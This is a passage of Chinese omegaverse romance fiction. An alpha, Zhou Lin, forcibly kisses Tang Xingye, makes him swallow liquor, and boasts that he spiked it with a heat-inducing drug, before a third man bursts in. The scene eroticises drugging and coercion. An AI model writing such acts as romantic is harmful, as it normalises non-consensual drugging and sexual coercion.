这句话像一柄冰锥刺进唐星野的脊背。他猛地抬头,却撞进周凛深不见底的眼眸里——那里翻涌着他从未见过的偏执与疯狂。
未及反应,周凛已经仰头饮尽杯中酒。玻璃杯落地的脆响中,唐星野被猛地拽进一个炽热的怀抱。alpha的手掌扣住他的后脑,带着酒香的唇重重压了下来。
"唔...!"
辛辣的液体渡进口腔,唐星野拼命挣扎,却被周凛掐着下巴强迫吞咽。
酒液顺着唇角滑落,打湿了衬衫前襟。唐星野的视野开始模糊,身体奇怪地发烫。信息素铺天盖地笼罩下来,浓烈得几乎具象化。
"味道如何?"周凛稍稍退开,拇指碾过他湿润的唇瓣,"我特意...加了点料。"
唐星野这才意识到,他不仅调换了惩罚内容——连情热剂都被换成了专门针对beta的催剂。
嘭——
门口发出剧烈敲击的声响,唐星野转眸就看到路至面色阴沉,眼睛冰冷,死死地盯着他们,整个人像是厉鬼,要与黑色融为一体。